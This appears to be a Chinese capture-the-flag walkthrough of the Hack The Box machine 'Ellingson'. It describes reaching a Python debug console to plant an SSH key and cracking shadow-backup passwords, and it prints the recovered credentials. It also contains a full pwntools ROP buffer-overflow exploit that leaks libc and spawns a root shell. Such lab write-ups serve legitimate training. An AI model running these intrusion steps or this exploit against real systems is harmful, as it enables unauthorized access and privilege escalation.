前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Hack the box-Ellingson

Hack the box-Ellingson

作者头像
Khan安全团队
发布于 2020-03-08 10:24:59
发布于 2020-03-08 10:24:59
7430
举报
文章被收录于专栏:Khan安全团队Khan安全团队

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Ellingson”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为困难级别,任务是找到靶机上的user.txt和root.txt。

00x01 信息枚举

利用masscan探测开放端口

找到了22,80端口

Nmap探测22,80的服务信息

00x02 漏洞利用

收集不到什么特殊信息,80端口的http服务往往都是突破口,我们先从80的web下手

从页面源码中看到了几个链接,并对链接的参数进行猜测

Fuzz /articles/? 使程序出错发现python交互调试页面。

利用os.uname(),发现目标系统信息,并利用whoami和pwd找到用户和目标系统的当前路径

根据收集到的信息,我们可以将ssh公钥写入到目标的authroized_keys文件上实现免密登录

00x03 低权限shell

成功登录到hal

在枚举hal账号的时候我们可以发现hal的用户组是adm,所以说我们有权限可以查看shadow.bak备份文件

利用john跑密码

我们最终会得到两个账号(由于复现时间问题,我就不把密码再跑一次了)

theplague--password123

margo--iamgod$08

user.txt手到擒来, ^o^

00x04 权限提升

我们找到garbage可执行文件

gdb查看check_user函数发现,1002 (margo)、0 (root)、 theplague (1000)都可执行该文件

利用ltrace绕过访问密码进入控制台查看密码为N3veRF3@r1iSh3r3!

gdb调试发现了get危险函数,由于缺少大小检查而导致缓冲区溢出。

在*main+41进入auth函数后,这里的返回地址位于堆栈的顶部。注意堆栈地址。

在这里,我们有stdin存储字符的缓冲区。请注意,我们呢还没执行该功能。

只需计算两个内存地址之间的差,即可获得控制返回地址所需的偏移量。现在,偏移量是136个字节。

为了进一步证明我们确实可以控制返回地址,让我们像这样创建一个输入文件。

# perl -e 'print "A" x 136 . "B" x 6' > input

exp编写

该exp利用将为我们提供一个交互式root shell。

from pwn import *

import binascii

context(terminal=["tmux", "new-windows"])

context(os="linux", arch="amd64")

s = ssh(host="10.10.10.139", user="margo", password="iamgod$08")

p = s.process("garbage")

junk = 'A' * 136

plt_main = p64(0x401619)

plt_puts = p64(0x401050)

got_puts = p64(0x404028)

pop_rdi = p64(0x40179b)

pop_rsi = p64(0x401799)

payload = junk + pop_rdi + got_puts + plt_puts + plt_main

p.sendline(payload)

p.recvuntil("access denied.")

leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")

log.success("Leaked puts@GLIBC: " + "0x" + binascii.hexlify(leaked_puts).decode("hex")[::-1].encode("hex"))

eaked_puts = u64(leaked_puts)

off_puts = 0x809c0

off_sys = 0x4f440

off_exe = 0xe4fa0

off_sh = 0x1b3e9a

off_suid = 0xe5970

base_libc = leaked_puts - off_puts

log.success("GLIBC base address: " + "0x" + binascii.hexlify(p64(base_libc)).decode("hex")[::-1].encode("hex"))

libc_exe = p64(base_libc + off_exe)

libc_sys = p64(base_libc + off_sys)

libc_sh = p64(base_libc + off_sh)

libc_suid = p64(base_libc + off_suid)

payload = junk + pop_rdi + p64(0) + libc_suid + pop_rdi + libc_sh + pop_rsi + p64(0) + p64(0xdeadbeef) + libc_exe

p.sendline(payload)

p.recvuntil("access denied.")

log.success("Enjoy your shell!")

p.interactive()

获取root.txt

root权限提升部分参考自https://hackso.me/ellingson-htb-walkthrough/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
重学SpringBoot3-ServletWebServerFactoryAutoConfiguration类
在Spring Boot 3中,ServletWebServerFactoryAutoConfiguration 类扮演着至关重要的角色,它负责自动配置内嵌的 Servlet 容器,例如 Tomcat、Jetty 或 Undertow。这种自动配置能力是 Spring Boot 框架的核心特性之一,它极大地简化了 Spring 应用的开发和部署过程。本文将深入探讨ServletWebServerFactoryAutoConfiguration 类的工作原理、配置方式以及如何通过它来定制内嵌Servlet容器。
CoderJia
2024/10/18
1710
重学SpringBoot3-ServletWebServerFactoryAutoConfiguration类
在Spring Boot中使用HTTPS
在本文中,我们将学习在Spring Boot中使用自签名证书配置SSL(HTTPS),并且要在嵌入式Tomcat上启用Spring Boot应用程序的SSL,我们需要学习以下步骤: 1.创建SSL证书:生成自签名证书,或者使用由受信任的证书颁发机构(CA)颁发的证书。 2.在Spring Boot中启用HTTPS:这可以通过Spring Boot 项目中的一些简单配置来完成。 3. 将HTTP重定向到HTTPS :在某些情况下,最好也能从HTTP访问你的应用,将所有HTTP流量重定向到HTTPS端
lyb-geek
2018/08/16
2.9K0
SpringBoot两种方式配置 HTTPS 安全证书
1:确保安装了JDK并正确配置了环境变量; 2:进入你的JAVA_HOME目录中的bin目录; 3:在这个目录下执行
高大北
2022/06/14
1.4K0
Spring Boot 支持 HTTPS 如此简单,So easy!
这里讲的是 Spring Boot 内嵌式 Server 打 jar 包运行的方式,打 WAR 包部署的就不存在要 Spring Boot 支持 HTTPS 了,需要去外部对应的 Server 配置。
Java技术栈
2019/07/15
6610
Spring Boot 支持 HTTPS 如此简单,So easy!
SpringBoot 配置 HTTPS 安全证书的两种方案
来源:https://blog.csdn.net/lhc_makefunny 文章目录 使用JDK自带的工具生成证书 使用FreeSSL提供的证书 使用JDK自带的工具生成证书 1.确保安装了JDK并正确配置了环境变量; 2.进入你的JAVA_HOME目录中的bin目录; 3.在这个目录下执行 //  keytool -genkey -alias (别名) -dname "CN=(姓名),OU=(组织单位名称),O=(组织名称),L=(城市名称),ST=(省),C=(国家)" -storetype (密钥仓
程序猿DD
2022/09/22
1.2K0
SpringBoot 配置 HTTPS 安全证书的两种方案
Springboot配置https,使用腾讯云免费证书
2.2 提交资料,必填证书绑定域名以及申请邮箱,绑定域名填写springboot项目部署的服务器域名
wayn
2021/12/05
14.2K1
Springboot配置https,使用腾讯云免费证书
秒懂HTTPS接口(实现篇)
创建一个接口PersonRepository,后续的控制器直接调用该接口继承自JpaRepository的方法,来实现和数据库交互
高楼Zee
2019/07/17
2.1K0
秒懂HTTPS接口(实现篇)
SpringBoot之Https
前言:Springboot因为是内置一个tomcat,在需要安全性的情况下需要配置ssl访问。
王念博客
2019/07/25
9970
springboot监控&springboot配置https
springboot自带actuator监控,开启配置后,访问相关链接就可以返回服务运行相关信息,使用方法如下: 1、pom.xml:
贪挽懒月
2020/08/13
1.2K0
springboot监控&springboot配置https
Spring Boot启用HTTPS
默认情况下,Spring Boot应用程序在应用程序启动时使用HTTP的8080端口。可按照以下步骤,在Spring Boot应用程序中配置HTTPS和端口443 -
黑洞代码
2021/09/03
9380
为了调个https接口,先后跟几万亿市值的大厂合作了一把
已经开始工作了,确实今年的压力比去年大了一些。可能是心态问题吧,虽然在家办公但是依然感觉很压抑。 状态就是: "感觉很忙,但是又没有目标"。不知道有没有人有过这种感觉。所以呢就翻看了一下之前写的 一只程序员的2019 。看完后终于知道做点什么了?
CainGao
2020/04/14
4120
SpringBoot配置Https
可以直接通过域名申请; 也可以使用自签证书(自签证书创建可以看我的另一篇文章:[使用KeyStore生成证书]) ​
十玖八柒
2022/08/01
1.2K0
SpringBoot配置Https
spring cloud/spring boot同时支持http和https访问
       关于spring boot同时支持http和https访问,在spring boot官网73.9已经有说明文档了,同样在github上也有官网的例子。官网链接如下
lyb-geek
2018/12/20
1.2K0
spring cloud/spring boot同时支持http和https访问
springboot(22)同时支持http和https访问
关于spring boot同时支持http和https访问,在spring boot官网73.9已经有说明文档了,同样在github上也有官网的例子。 在这里,我向大家讲述一下,我是怎么实现的。 keytool -genkey -alias tomcat -storetype PKCS12 -keyalg RSA -keysize 2048 -keystore keystore.p12 -validity 3650 1.-storetype 指定密钥仓库类型 2.-keyalg 生证书的算法名称,RS
IT架构圈
2018/06/01
4K0
重学SpringBoot系列之嵌入式容器的配置与应用
在Spring Boot项目中,可以支持Tomcat、Jetty、Undertow的Web应用服务容器。当我们添加了spring-boot-starter-web依赖后,默认会使用Tomcat作为嵌入式Web容器,不需要我们单独部署,将web应用打成jar包即可运行。
大忽悠爱学习
2021/12/07
1.8K0
重学SpringBoot系列之嵌入式容器的配置与应用
给tomcat7配置SSL证书
今天工作中需要给tomcat7配置SSL证书,以使用https访问tomcat服务。以前都是自签名,照着网上的文档完成的,这回有一点不同的是https证书已经从GoDaddy买回来了,配置过程中遇到了一点坑,这里记录一下。 tomcat7配置SSL证书 从GoDaddy买来的证书包括3个文件,test.com.key, test.com.crt, godaddy_intermediate.crt。这里稍微解释一下,这3个文件。 test.com.key是私钥文件,文件内容如下: -----BEGIN RSA
jeremyxu
2018/05/10
3.8K0
Springboot模拟https安全访问(使用Java提供的keytool命令生成证书)
1、SpringBoot启动时默认采用http进行通信协议定义,但是为了访问安全性,我们有时候会选择使用https进行访问。正常来讲,https的访问是需要证书的,并且为了保证这个证书的安全,一定要在项目中使用CA进行认证,需要收费的哦,证书真是一个挣钱的生意。这里只是利用Java提供的keytool命令实现证书的生成。
别先生
2020/11/24
8610
Springboot模拟https安全访问(使用Java提供的keytool命令生成证书)
Spring Boot配置ssl证书启用HTTPS协议
SSL协议分为两层:SSL记录协议,它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL握手协议,它建立在SSL记录协议之上。用于在实际数据传输开始前,通信双方进行身份认证、协商加密算法、交换加密密钥等。
故久
2019/09/29
5.4K0
Spring Boot配置ssl证书启用HTTPS协议
SSL证书配置(https访问接口, 单向认证和双向认证)
参考文档 1. springboot项目配置阿里云ssl证书,http转https 2. Springboot配置使用ssl,使用https 3. Spring boot使用阿里云SSL证书报错:org/springframework/boot/context/properties/bind/Binder 4. IOException: Alias name tomcat does not identify a key entry 沃通证书部署问题解决办法
时间静止不是简史
2021/04/28
8.1K0
SSL证书配置(https访问接口, 单向认证和双向认证)
最通俗易懂的springboot框架学习教程—SpringBoot配置SSL(https)
SpringBoot可以通过在application.properties或application.yml配置文件中配置各种server.ssl.*属性来声明性使用SSL(https),比如下面的例子在application.properties中设置SSL属性:
晴天娃娃只会笑不会哭
2022/02/16
1.1K0
推荐阅读
相关推荐
重学SpringBoot3-ServletWebServerFactoryAutoConfiguration类
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档